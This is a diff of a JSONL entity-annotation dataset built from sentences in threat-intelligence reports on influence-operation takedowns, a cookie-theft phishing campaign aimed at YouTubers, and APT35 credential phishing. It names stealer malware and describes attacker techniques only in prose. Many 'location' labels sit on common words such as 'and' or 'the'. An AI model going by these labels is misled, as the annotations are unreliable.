-{"id":11974,"text":"A very small subset uploaded content in Chinese and English about China’s COVID-19 vaccine efforts and social issues in the U.S. These findings are consistent with our previous reports.","entities":[{"id":37000,"label":"location","start_offset":7,"end_offset":12},{"id":37001,"label":"location","start_offset":29,"end_offset":36},{"id":37003,"label":"location","start_offset":48,"end_offset":51},{"id":37006,"label":"location","start_offset":99,"end_offset":102},{"id":37008,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":11975,"text":"We received leads from FireEye and Graphika that supported us in this investigation.","entities":[{"id":37010,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":11976,"text":"          This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":11977,"text":"It was last updated on April 20, 2021.","entities":[],"relations":[],"Comments":[]}
-{"id":11978,"text":"We terminated 4 YouTube channels and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Ukraine.","entities":[{"id":37016,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":11979,"text":"This campaign uploaded content in Russian pertaining to current events in Kazakhstan and critical of European Union policies toward Moldova.","entities":[{"id":37019,"label":"location","start_offset":5,"end_offset":13},{"id":37020,"label":"location","start_offset":23,"end_offset":30},{"id":37023,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
 {"id":11980,"text":"We terminated 5 blogs as part of our investigation into coordinated influence operations linked to Morocco.","entities":[],"relations":[],"Comments":[]}
-{"id":11981,"text":"This campaign uploaded content in Arabic that was critical of the Algerian government.","entities":[{"id":37028,"label":"location","start_offset":5,"end_offset":13},{"id":37029,"label":"location","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":11982,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":37032,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11983,"text":"We terminated 5 YouTube channels as part of our investigation into coordinated influence operations linked to Brazil.","entities":[],"relations":[],"Comments":[]}
-{"id":11984,"text":"This campaign was linked to a PR firm named AP Exata Intelligence and uploaded content in Portuguese expressing support for several mayoral candidates in Brazil.","entities":[{"id":37036,"label":"location","start_offset":5,"end_offset":13},{"id":37038,"label":"location","start_offset":66,"end_offset":69},{"id":37039,"label":"location","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":11985,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":37042,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11986,"text":"We terminated 6 YouTube channels as part of our investigation into coordinated influence operations linked to Kyrgyzstan.","entities":[],"relations":[],"Comments":[]}
-{"id":11987,"text":"The campaign uploaded content in Kyrgyz critical of the former President Almazbek Atambayev and the opposition leader Adakhan Madumarov.","entities":[{"id":37047,"label":"location","start_offset":4,"end_offset":12},{"id":37048,"label":"location","start_offset":22,"end_offset":29},{"id":37051,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":11988,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":37053,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11989,"text":"We terminated 3 advertising accounts as part of our investigation into coordinated influence operations linked to Egypt.","entities":[],"relations":[],"Comments":[]}
-{"id":11990,"text":"This campaign was linked to a PR firm named Mubashier and uploaded content in Arabic supportive of the Russian government across several countries in the Middle East.","entities":[{"id":37057,"label":"location","start_offset":5,"end_offset":13},{"id":37059,"label":"location","start_offset":54,"end_offset":57},{"id":37060,"label":"location","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":11991,"text":"We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":11992,"text":"This campaign uploaded content in Russian on current events in Ukraine.","entities":[{"id":37067,"label":"location","start_offset":5,"end_offset":13},{"id":37068,"label":"location","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":11993,"text":"We terminated 1 YouTube channel, 2 advertising accounts and 1 mobile developer account as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":37074,"label":"location","start_offset":56,"end_offset":59},{"id":37076,"label":"location","start_offset":62,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":11994,"text":"This campaign uploaded content in Russian on such topics as the U.S. election and the poisoning of Alexei Navalny.","entities":[{"id":37078,"label":"location","start_offset":5,"end_offset":13},{"id":37079,"label":"location","start_offset":23,"end_offset":30},{"id":37082,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":11995,"text":"We terminated 5 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":11996,"text":"This campaign uploaded content in Russian on such topics as the annexation of Crimea and the Syrian civil war.","entities":[{"id":37086,"label":"location","start_offset":5,"end_offset":13},{"id":37087,"label":"location","start_offset":23,"end_offset":30},{"id":37090,"label":"location","start_offset":85,"end_offset":88},{"id":37092,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":11997,"text":"We terminated 2 YouTube channels and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":37094,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":11998,"text":"This campaign uploaded content in Russian on historical events in Afghanistan, Armenia and Ukraine.","entities":[{"id":37097,"label":"location","start_offset":5,"end_offset":13},{"id":37098,"label":"location","start_offset":23,"end_offset":30},{"id":37102,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":11999,"text":"We terminated 2 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":12000,"text":"This campaign uploaded content in Russian on such topics as the U.S. current events and Alexei Navalny political rallies.","entities":[{"id":37106,"label":"location","start_offset":5,"end_offset":13},{"id":37107,"label":"location","start_offset":23,"end_offset":30},{"id":37110,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":12001,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":12002,"text":"This campaign uploaded content in English and was amplifying narratives on regional topics such as Israel, the Nagorno Karabakh conflict, and the war in Yemen.","entities":[{"id":37114,"label":"location","start_offset":5,"end_offset":13},{"id":37115,"label":"location","start_offset":23,"end_offset":30},{"id":37117,"label":"location","start_offset":42,"end_offset":45},{"id":37120,"label":"location","start_offset":138,"end_offset":141},{"id":37121,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
 {"id":12003,"text":"We received leads from FireEye that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":12004,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":37125,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":12005,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":37127,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":12006,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":37129,"label":"location","start_offset":23,"end_offset":31},{"id":37131,"label":"location","start_offset":113,"end_offset":117},{"id":37132,"label":"location","start_offset":124,"end_offset":130},{"id":37133,"label":"tools","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]}
 {"id":12007,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":37138,"label":"location","start_offset":85,"end_offset":88},{"id":37140,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
 {"id":12008,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":37146,"label":"location","start_offset":52,"end_offset":56},{"id":37147,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":37148,"label":"location","start_offset":75,"end_offset":79},{"id":37151,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":12009,"text":"With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).","entities":[{"id":37157,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
 {"id":12010,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":12011,"text":"In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.","entities":[{"id":37160,"label":"location","start_offset":68,"end_offset":71},{"id":37161,"label":"location","start_offset":98,"end_offset":102},{"id":37162,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":12012,"text":"Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":37163,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":12013,"text":"While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.","entities":[{"id":37165,"label":"location","start_offset":73,"end_offset":81},{"id":37166,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":12014,"text":" Many YouTube creators provide an email address on their channel for business opportunities.","entities":[{"id":37167,"label":"location","start_offset":1,"end_offset":5}],"relations":[],"Comments":[]}
-{"id":12015,"text":"In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.","entities":[{"id":37169,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":12016,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":37170,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":37171,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":12017,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":37172,"label":"location","start_offset":9,"end_offset":15},{"id":37173,"label":"location","start_offset":30,"end_offset":34},{"id":37174,"label":"location","start_offset":46,"end_offset":53},{"id":37175,"label":"location","start_offset":54,"end_offset":58},{"id":37177,"label":"location","start_offset":141,"end_offset":144},{"id":37179,"label":"attack-pattern","start_offset":193,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":12018,"text":"Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.","entities":[{"id":37181,"label":"location","start_offset":46,"end_offset":50},{"id":37182,"label":"location","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":12019,"text":" The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.","entities":[{"id":37183,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":12020,"text":"To date, we’ve identified at least 1,011 domains created solely for this purpose.","entities":[{"id":37184,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":12021,"text":"Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.","entities":[{"id":37186,"label":"location","start_offset":54,"end_offset":59},{"id":37190,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":12022,"text":"During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”","entities":[],"relations":[],"Comments":[]}
-{"id":12023,"text":"In one case, we observed a fake social media page copying content from an existing software company.","entities":[{"id":37193,"label":"location","start_offset":7,"end_offset":11},{"id":37194,"label":"location","start_offset":39,"end_offset":44},{"id":37195,"label":"location","start_offset":45,"end_offset":49},{"id":37196,"label":"location","start_offset":58,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":12024,"text":"The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.","entities":[{"id":37197,"label":"location","start_offset":49,"end_offset":53},{"id":37198,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":12025,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":37200,"label":"location","start_offset":32,"end_offset":35},{"id":37201,"label":"attack-pattern","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":12026,"text":" Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.","entities":[{"id":37206,"label":"location","start_offset":10,"end_offset":16},{"id":37207,"label":"location","start_offset":126,"end_offset":129},{"id":37208,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":12027,"text":"Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.","entities":[{"id":37209,"label":"location","start_offset":14,"end_offset":18},{"id":37210,"label":"location","start_offset":30,"end_offset":33},{"id":37211,"label":"location","start_offset":103,"end_offset":106},{"id":37212,"label":"location","start_offset":145,"end_offset":149},{"id":37213,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":12028,"text":"This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.","entities":[{"id":37214,"label":"location","start_offset":75,"end_offset":78},{"id":37215,"label":"location","start_offset":109,"end_offset":113},{"id":37216,"label":"location","start_offset":114,"end_offset":117},{"id":37217,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":12029,"text":"We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.","entities":[{"id":37218,"label":"location","start_offset":88,"end_offset":92},{"id":37219,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":12030,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.","entities":[{"id":37224,"label":"malware","start_offset":79,"end_offset":86},{"id":37231,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
 {"id":12031,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":37235,"label":"attack-pattern","start_offset":5,"end_offset":11},{"id":37237,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":12032,"text":"Related hashes are listed in the Technical Details section, at the end of this report.","entities":[{"id":37238,"label":"location","start_offset":15,"end_offset":18},{"id":37239,"label":"location","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":12033,"text":"Most of the observed malware was capable of stealing both user passwords and cookies.","entities":[{"id":37240,"label":"location","start_offset":0,"end_offset":4},{"id":37241,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":12034,"text":"Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.","entities":[{"id":37242,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":12035,"text":"A few were observed displaying a fake error message requiring user click-through to continue execution.","entities":[],"relations":[],"Comments":[]}
-{"id":12036,"text":" A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.","entities":[{"id":37243,"label":"location","start_offset":3,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":12037,"text":"The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.","entities":[{"id":37244,"label":"location","start_offset":34,"end_offset":37},{"id":37245,"label":"location","start_offset":38,"end_offset":45},{"id":37246,"label":"location","start_offset":108,"end_offset":113},{"id":37247,"label":"location","start_offset":137,"end_offset":145},{"id":37248,"label":"location","start_offset":146,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":12038,"text":"The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.","entities":[{"id":37249,"label":"location","start_offset":72,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":12039,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]}
-{"id":12040,"text":" These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.","entities":[{"id":37250,"label":"location","start_offset":49,"end_offset":53},{"id":37252,"label":"location","start_offset":125,"end_offset":128},{"id":37254,"label":"location","start_offset":187,"end_offset":192},{"id":37255,"label":"location","start_offset":280,"end_offset":285},{"id":37256,"label":"location","start_offset":299,"end_offset":305}],"relations":[],"Comments":[]}
-{"id":12041,"text":" We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.","entities":[{"id":37257,"label":"location","start_offset":4,"end_offset":7},{"id":37258,"label":"location","start_offset":53,"end_offset":56},{"id":37259,"label":"location","start_offset":80,"end_offset":83},{"id":37260,"label":"location","start_offset":121,"end_offset":124},{"id":37261,"label":"location","start_offset":125,"end_offset":129},{"id":37262,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":12042,"text":"Some of these improvements include: It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.","entities":[{"id":37263,"label":"location","start_offset":107,"end_offset":110},{"id":37264,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]}
 {"id":12043,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[{"id":37265,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":12044,"text":"Related Malware hashes: Top Phishing Domains:","entities":[{"id":37266,"label":"attack-pattern","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":12045,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":37268,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":12046,"text":"We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":37269,"label":"location","start_offset":10,"end_offset":14},{"id":37270,"label":"location","start_offset":89,"end_offset":95},{"id":37271,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":12047,"text":"So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.","entities":[{"id":37275,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":12048,"text":"This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.","entities":[{"id":37277,"label":"location","start_offset":51,"end_offset":56},{"id":37278,"label":"location","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":12049,"text":"We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.","entities":[{"id":37282,"label":"location","start_offset":65,"end_offset":68},{"id":37283,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
 {"id":12050,"text":"On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
-{"id":12051,"text":"This means that there is typically more than one threat actor behind the warnings.","entities":[{"id":37288,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":12052,"text":"In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.","entities":[{"id":37290,"label":"location","start_offset":37,"end_offset":41},{"id":37294,"label":"attack-pattern","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":12053,"text":"This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.","entities":[{"id":37295,"label":"location","start_offset":12,"end_offset":15},{"id":37298,"label":"location","start_offset":71,"end_offset":76},{"id":37299,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":12054,"text":"For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":37301,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":12055,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":37304,"label":"APT","start_offset":15,"end_offset":20},{"id":37306,"label":"location","start_offset":64,"end_offset":74},{"id":37307,"label":"location","start_offset":78,"end_offset":82},{"id":37308,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":12056,"text":"Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.","entities":[{"id":37309,"label":"location","start_offset":60,"end_offset":67},{"id":37312,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
+{"id":12055,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":37304,"label":"threat-actor","start_offset":15,"end_offset":20},{"id":37306,"label":"location","start_offset":64,"end_offset":74},{"id":37307,"label":"location","start_offset":78,"end_offset":82},{"id":37308,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":12057,"text":"Users were instructed to activate an invitation to a (fake) webinar by logging in.","entities":[],"relations":[],"Comments":[]}
 {"id":12058,"text":"The phishing kit will also ask for second-factor authentication codes sent to devices.","entities":[{"id":37314,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":37315,"label":"location","start_offset":17,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":12059,"text":"APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":37317,"label":"APT","start_offset":0,"end_offset":5},{"id":37319,"label":"location","start_offset":93,"end_offset":101},{"id":37321,"label":"location","start_offset":137,"end_offset":140},{"id":37322,"label":"location","start_offset":141,"end_offset":149},{"id":37323,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
+{"id":12059,"text":"APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":37317,"label":"threat-actor","start_offset":0,"end_offset":5},{"id":37319,"label":"location","start_offset":93,"end_offset":101},{"id":37321,"label":"location","start_offset":137,"end_offset":140},{"id":37322,"label":"location","start_offset":141,"end_offset":149},{"id":37323,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
 {"id":12060,"text":"Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.","entities":[{"id":37324,"label":"attack-pattern","start_offset":11,"end_offset":19},{"id":37325,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":12061,"text":"In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.","entities":[],"relations":[],"Comments":[]}
-{"id":12062,"text":"The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.","entities":[{"id":37329,"label":"location","start_offset":100,"end_offset":104},{"id":37330,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]}
-{"id":12063,"text":"Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.","entities":[{"id":37332,"label":"location","start_offset":32,"end_offset":35},{"id":37334,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":12064,"text":"Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.","entities":[{"id":37336,"label":"location","start_offset":45,"end_offset":48},{"id":37337,"label":"threat-actor","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":12065,"text":"One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.","entities":[{"id":37340,"label":"location","start_offset":11,"end_offset":15},{"id":37342,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":12066,"text":"Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.","entities":[{"id":37344,"label":"location","start_offset":35,"end_offset":38},{"id":37345,"label":"location","start_offset":58,"end_offset":63},{"id":37347,"label":"location","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]}
 {"id":12067,"text":"When they did, attackers sent them phishing links in follow-on correspondence.","entities":[{"id":37348,"label":"location","start_offset":30,"end_offset":34},{"id":37349,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":12068,"text":"Targets typically had to navigate through at least one redirect before landing on a phishing domain.","entities":[{"id":37351,"label":"location","start_offset":71,"end_offset":78},{"id":37352,"label":"attack-pattern","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":12069,"text":"Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.","entities":[{"id":37353,"label":"location","start_offset":16,"end_offset":19},{"id":37354,"label":"location","start_offset":35,"end_offset":38},{"id":37355,"label":"location","start_offset":70,"end_offset":73},{"id":37356,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":12070,"text":"We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.","entities":[{"id":37359,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":12071,"text":"Services from Dropbox and Microsoft are also abused.","entities":[{"id":37363,"label":"location","start_offset":22,"end_offset":25},{"id":37365,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":12072,"text":"One of APT35’s novel techniques involves using Telegram for operator notifications.","entities":[],"relations":[],"Comments":[]}
 {"id":12073,"text":"The attackers embed javascript into phishing pages that notify them when the page has been loaded.","entities":[{"id":37369,"label":"attack-pattern","start_offset":36,"end_offset":44},{"id":37370,"label":"location","start_offset":63,"end_offset":67},{"id":37371,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":12074,"text":"To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.","entities":[{"id":37374,"label":"location","start_offset":134,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":12075,"text":"The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.","entities":[{"id":37375,"label":"location","start_offset":83,"end_offset":86},{"id":37376,"label":"location","start_offset":126,"end_offset":129},{"id":37377,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":37378,"label":"location","start_offset":168,"end_offset":173},{"id":37379,"label":"location","start_offset":177,"end_offset":181},{"id":37380,"label":"location","start_offset":182,"end_offset":186}],"relations":[],"Comments":[]}
-{"id":12076,"text":"We reported the bot to Telegram and they have taken action to remove it.","entities":[{"id":37382,"label":"location","start_offset":32,"end_offset":35},{"id":37383,"label":"location","start_offset":52,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":12077,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":37384,"label":"APT","start_offset":62,"end_offset":67},{"id":37385,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":12078,"text":"Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.","entities":[{"id":37387,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":12079,"text":"If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.","entities":[{"id":37389,"label":"location","start_offset":80,"end_offset":85},{"id":37390,"label":"location","start_offset":116,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":12080,"text":"Workspace administrators are also notified regarding targeted accounts in their domain.","entities":[{"id":37391,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":12081,"text":"Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.","entities":[{"id":37392,"label":"location","start_offset":6,"end_offset":9},{"id":37393,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":12082,"text":"We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.","entities":[{"id":37398,"label":"location","start_offset":85,"end_offset":93},{"id":37399,"label":"location","start_offset":148,"end_offset":151},{"id":37400,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
-{"id":12083,"text":"When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.","entities":[{"id":37402,"label":"location","start_offset":80,"end_offset":87},{"id":37403,"label":"location","start_offset":122,"end_offset":126},{"id":37404,"label":"location","start_offset":147,"end_offset":154},{"id":37405,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]}
+{"id":12077,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":37384,"label":"threat-actor","start_offset":62,"end_offset":67},{"id":37385,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":12084,"text":"When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.","entities":[],"relations":[],"Comments":[]}
